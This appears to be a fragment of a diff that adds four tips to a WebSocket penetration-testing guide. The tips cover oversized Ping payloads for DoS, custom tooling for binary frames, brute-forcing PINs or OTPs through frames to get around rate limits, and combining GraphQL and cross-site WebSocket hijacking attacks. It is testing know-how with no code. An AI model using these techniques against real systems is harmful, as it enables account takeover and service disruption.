+ 1. **Examine Ping/Pong Frames:** WebSockets use internal OpCodes for Ping (`0x9`) and Pong (`0xA`) to keep connections alive. Sometimes, sending massive Ping payloads (which RFC says must be echoed back in the Pong) can lead to buffer overflows or DoS.
178
+ 2. **Binary Framing:** If the application uses binary frames (`OpCode 0x2`) instead of Text frames (often protobufs or MessagePack), standard interception tools might mangle the payload. You will need to write a custom Burp extension or Python script (`websocket-client` library) to serialize/deserialize correctly.
179
+ 3. **Rate Limiting:** IP-based rate limiting often applies to the *HTTP Handshake endpoint*, but completely ignores the frequency of *frames* sent over the established connection. If you need to brute-force a pin or OTP, do it via WebSocket frames instead of HTTP POSTs.
180
+ 4. **GraphQL Subscriptions:** Almost all GraphQL subscriptions are implemented via WebSockets (like `subscriptions-transport-ws`). Apply both standard GraphQL attacks (Introspection, Batching DoS) AND WebSocket attacks (CSWSH) simultaneously.